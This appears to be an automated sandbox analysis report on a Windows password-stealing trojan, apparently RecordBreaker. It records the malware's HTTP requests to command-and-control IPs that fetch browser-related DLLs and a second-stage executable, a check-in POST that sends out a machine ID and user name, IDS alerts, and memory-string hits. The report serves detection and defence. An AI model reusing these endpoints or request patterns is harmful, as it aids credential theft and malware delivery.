00 ca 00 00 00 06 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 40 0e 00 00 28 00 Data

Source: Joe Sandbox View

IP Address: 193.142.147.59 193.142.147.59

Source: Joe Sandbox View

ASN Name: FREERANGECLOUDCA FREERANGECLOUDCA

Source: unknown	TCP traffic detected without corresponding DNS query: 193.142.147.59
Source: unknown	TCP traffic detected without corresponding DNS query: 193.142.147.59
Source: unknown	TCP traffic detected without corresponding DNS query: 193.142.147.59
Source: unknown	TCP traffic detected without corresponding DNS query: 193.142.147.59
Source: unknown	TCP traffic detected without corresponding DNS query: 193.142.147.59
Source: unknown	TCP traffic detected without corresponding DNS query: 193.142.147.59
Source: unknown	TCP traffic detected without corresponding DNS query: 193.142.147.59
Source: unknown	TCP traffic detected without corresponding DNS query: 193.142.147.59
Source: unknown	TCP traffic detected without corresponding DNS query: 193.142.147.59
Source: unknown	TCP traffic detected without corresponding DNS query: 193.142.147.59
Source: unknown	TCP traffic detected without corresponding DNS query: 193.142.147.59
Source: unknown	TCP traffic detected without corresponding DNS query: 193.142.147.59
Source: unknown	TCP traffic detected without corresponding DNS query: 193.142.147.59
Source: unknown	TCP traffic detected without corresponding DNS query: 193.142.147.59
Source: unknown	TCP traffic detected without corresponding DNS query: 193.142.147.59
Source: unknown	TCP traffic detected without corresponding DNS query: 193.142.147.59
Source: unknown	TCP traffic detected without corresponding DNS query: 193.142.147.59
Source: unknown	TCP traffic detected without corresponding DNS query: 193.142.147.59
Source: unknown	TCP traffic detected without corresponding DNS query: 193.142.147.59
Source: unknown	TCP traffic detected without corresponding DNS query: 193.142.147.59
Source: unknown	TCP traffic detected without corresponding DNS query: 193.142.147.59
Source: unknown	TCP traffic detected without corresponding DNS query: 193.142.147.59
Source: unknown	TCP traffic detected without corresponding DNS query: 193.142.147.59
Source: unknown	TCP traffic detected without corresponding DNS query: 193.142.147.59
Source: unknown	TCP traffic detected without corresponding DNS query: 193.142.147.59
Source: unknown	TCP traffic detected without corresponding DNS query: 193.142.147.59
Source: unknown	TCP traffic detected without corresponding DNS query: 193.142.147.59
Source: unknown	TCP traffic detected without corresponding DNS query: 193.142.147.59
Source: unknown	TCP traffic detected without corresponding DNS query: 193.142.147.59
Source: unknown	TCP traffic detected without corresponding DNS query: 193.142.147.59
Source: unknown	TCP traffic detected without corresponding DNS query: 193.142.147.59
Source: unknown	TCP traffic detected without corresponding DNS query: 193.142.147.59
Source: unknown	TCP traffic detected without corresponding DNS query: 193.142.147.59
Source: unknown	TCP traffic detected without corresponding DNS query: 193.142.147.59
Source: unknown	TCP traffic detected without corresponding DNS query: 193.142.147.59
Source: unknown	TCP traffic detected without corresponding DNS query: 193.142.147.59
Source: unknown	TCP traffic detected without corresponding DNS query: 193.142.147.59
Source: unknown	TCP traffic detected without corresponding DNS query: 193.142.147.59
Source: unknown	TCP traffic detected without corresponding DNS query: 193.142.147.59
Source: unknown	TCP traffic detected without corresponding DNS query: 193.142.147.59
Source: unknown	TCP traffic detected without corresponding DNS query: 193.142.147.59
Source: unknown	TCP traffic detected without corresponding DNS query: 193.142.147.59
Source: unknown	TCP traffic detected without corresponding DNS query: 193.142.147.59
Source: unknown	TCP traffic detected without corresponding DNS query: 193.142.147.59
Source: unknown	TCP traffic detected without corresponding DNS query: 193.142.147.59
Source: unknown	TCP traffic detected without corresponding DNS query: 193.142.147.59
Source: unknown	TCP traffic detected without corresponding DNS query: 193.142.147.59
Source: unknown	TCP traffic detected without corresponding DNS query: 193.142.147.59
Source: unknown	TCP traffic detected without corresponding DNS query: 193.142.147.59
Source: unknown	TCP traffic detected without corresponding DNS query: 193.142.147.59

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe

Code function: 0_2_0040BF4A LocalAlloc,StrStrW,lstrlenW,InternetOpenW,lstrlenW,InternetOpenUrlW,CreateFileW,WriteFile,InternetReadFile,LocalFree,FindCloseChangeNotification,LocalFree,

0_2_0040BF4A

Source: global traffic	HTTP traffic detected: GET /aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/nss3.dll HTTP/1.1Content-Type: text/plain;User-Agent: XmlstHost: 193.142.147.59Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/msvcp140.dll HTTP/1.1Content-Type: text/plain;User-Agent: XmlstHost: 193.142.147.59Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/vcruntime140.dll HTTP/1.1Content-Type: text/plain;User-Agent: XmlstHost: 193.142.147.59Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/mozglue.dll HTTP/1.1Content-Type: text/plain;User-Agent: XmlstHost: 193.142.147.59Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/freebl3.dll HTTP/1.1Content-Type: text/plain;User-Agent: XmlstHost: 193.142.147.59Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/softokn3.dll HTTP/1.1Content-Type: text/plain;User-Agent: XmlstHost: 193.142.147.59Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/sqlite3.dll HTTP/1.1Content-Type: text/plain;User-Agent: XmlstHost: 193.142.147.59Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /autotask/Eflbu.exe HTTP/1.1Content-Type: text/plain;User-Agent: XmlstHost: 185.196.9.251Connection: Keep-AliveCache-Control: no-cache

Source: unknown

HTTP traffic detected: POST / HTTP/1.1Accept: */*Content-Type: application/x-www-form-urlencoded; charset=utf-8User-Agent: XmlstHost: 193.142.147.59Content-Length: 97Connection: Keep-AliveCache-Control: no-cacheData Raw: 6d 61 63 68 69 6e 65 49 64 3d 39 65 31 34 36 62 65 39 2d 63 37 36 61 2d 34 37 32 30 2d 62 63 64 62 2d 35 33 30 31 31 62 38 37 62 64 30 36 7c 65 6e 67 69 6e 65 65 72 26 63 6f 6e 66 69 67 49 64 3d 66 61 37 32 66 34 63 31 66 62 65 36 35 63 65 65 38 36 35 31 31 34 30 66 64 34 37 32 36 37 62 61 Data Ascii: machineId=9e146be9-c76a-4720-bcdb-53011b87bd06|user&configId=fa72f4c1fbe65cee8651140fd47267ba

Source: Network traffic	Suricata IDS: 2036934 - Severity 1 - ET MALWARE Win32/RecordBreaker CnC Checkin M1 : 192.168.2.6:49711 -> 193.142.147.59:80
Source: Network traffic	Suricata IDS: 2036955 - Severity 1 - ET MALWARE Win32/RecordBreaker CnC Checkin - Server Response : 193.142.147.59:80 -> 192.168.2.6:49711
Source: Network traffic	Suricata IDS: 2854151 - Severity 1 - ETPRO MALWARE Win32/RecordBreaker Host Exfil M1 : 192.168.2.6:49711 -> 193.142.147.59:80

Source: SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000002.3418647104.0000000000670000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.196.9.251/
Source: SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000002.3420322713.0000000003E06000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.196.9.251/4L
Source: SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2253842671.000000000068C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2246300838.000000000068C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2186791851.000000000068C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000002.3418647104.000000000068C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000002.3418647104.0000000000670000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2260346741.000000000068C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2261702063.000000000068C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2208093450.000000000068C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2248659704.000000000068C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2216146827.000000000068C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2186677991.0000000000641000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2261100666.000000000068C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2186677991.000000000068C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2207244687.000000000068C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2230213331.000000000068C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2223211893.000000000068C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2248914493.000000000068C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2251534302.000000000068C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2233693050.000000000068C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000002.3418647104.000000000061E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.196.9.251/autotask/Eflbu.exe
Source: SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000002.3418647104.0000000000670000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.196.9.251/autotask/Eflbu.exe/autotask/Eflbu.exe
Source: SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000002.3420029367.0000000003D8F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.196.9.251/autotask/Eflbu.exeP
Source: SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000002.3418647104.0000000000670000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.196.9.251/autotask/Eflbu.exer
Source: SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000002.3418647104.0000000000670000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.196.9.251/s
Source: SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000002.3418647104.0000000000670000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.196.9.251/top
Source: SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2223211893.000000000067C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2260346741.0000000000670000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2246161943.0000000000647000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2247833378.000000000067C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2245104755.0000000000647000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2253842671.0000000000646000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2233822452.000000000067C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2248395447.000000000067C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2244106577.000000000067C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2247585846.000000000067C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2230213331.000000000067C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2248914493.0000000000647000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2246708741.0000000000647000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2248000293.000000000067C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2243905572.0000000000647000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2253842671.000000000067C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.142.147.59/
Source: SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000002.3418647104.000000000061E000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2253842671.000000000067C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.142.147.59/098e00d7c477aadee19feb075a6b5030
Source: SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000002.3418647104.0000000000670000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.142.147.59/098e00d7c477aadee19feb075a6b5030%
Source: SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000002.3418647104.0000000000670000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.142.147.59/098e00d7c477aadee19feb075a6b50302
Source: SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2261702063.0000000000670000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2261100666.0000000000670000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2260346741.0000000000670000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.142.147.59/098e00d7c477aadee19feb075a6b5030B
Source: SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000002.3418647104.000000000069F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.142.147.59/098e00d7c477aadee19feb075a6b5030L
Source: SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000002.3418647104.0000000000670000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.142.147.59/098e00d7c477aadee19feb075a6b5030P
Source: SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2260346741.0000000000670000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.142.147.59/098e00d7c477aadee19feb075a6b5030g
Source: SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000002.3418647104.0000000000670000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2261702063.0000000000670000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2261100666.0000000000670000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2253842671.0000000000670000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2251534302.0000000000670000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2260346741.0000000000670000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.142.147.59/098e00d7c477aadee19feb075a6b5030p
Source: SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000002.3418647104.000000000069F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.142.147.59/098e00d7c477aadee19feb075a6b5030t
Source: SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2247464359.0000000000670000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2246161943.0000000000670000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2246968570.0000000000670000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2233693050.0000000000670000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2246708741.0000000000670000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2261702063.0000000000670000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2247220737.0000000000670000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2247098180.0000000000670000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2244408755.0000000000670000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2247342460.0000000000670000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2244674737.0000000000670000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2207244687.0000000000670000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2261100666.0000000000670000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2245104755.0000000000670000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2247833378.0000000000670000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2216146827.0000000000670000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2253842671.0000000000670000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2244559080.0000000000670000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2251534302.0000000000670000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2244966319.0000000000670000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2247585846.0000000000670000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.142.147.59/R3
Source: SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2246450992.0000000000647000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2246708741.000000000067C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2243905572.000000000067C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2233693050.000000000067C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2247220737.000000000067C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2216146827.000000000068C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2261702063.0000000000647000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2261100666.0000000000647000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2244559080.000000000067C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2247710001.000000000067C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2248659704.000000000067C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2261100666.000000000068C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2246968570.000000000067C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2247098180.000000000067C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2246450992.000000000067C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2246300838.000000000067C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2186677991.000000000068C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2260346741.0000000000645000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2246582942.000000000067C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2207244687.000000000068C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2230213331.000000000068C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.142.147.59/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/freebl3.dll
Source: SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2233559298.000000000067C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2233693050.000000000067C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2233822452.000000000067C000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2230213331.000000000067C000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.142.147.59/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/freebl3.dll%
Source: SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2230213331.0000000000648000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2233822452.0000000000648000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.142.147.59/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/freebl3.dll.V
Source: SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2244966319.0000000000647000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2248226612.0000000000647000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2244674737.0000000000647000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2245299707.0000000000647000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2246582942.0000000000647000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2244559080.0000000000647000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2230213331.0000000000648000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2244408755.0000000000647000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2246300838.0000000000647000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2246450992.0000000000647000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2261702063.0000000000647000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2261100666.0000000000647000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2260346741.0000000000645000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2251534302.0000000000645000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2244106577.0000000000647000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2248659704.0000000000646000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2233822452.0000000000648000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2246161943.0000000000647000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2245104755.0000000000647000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000003.2253842671.0000000000646000.00000004.00000020.00020000.00000000.sdmp, SecuriteInfo.com.Trojan.PWS.Siggen3.33653.31886.3628.exe, 00000000.00000002.3418647104.000000000061E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.142.147.59/aN7jD0qO6kT5bK5bQ4eR8fE1xP7hL2vK/freebl3.dll.dll
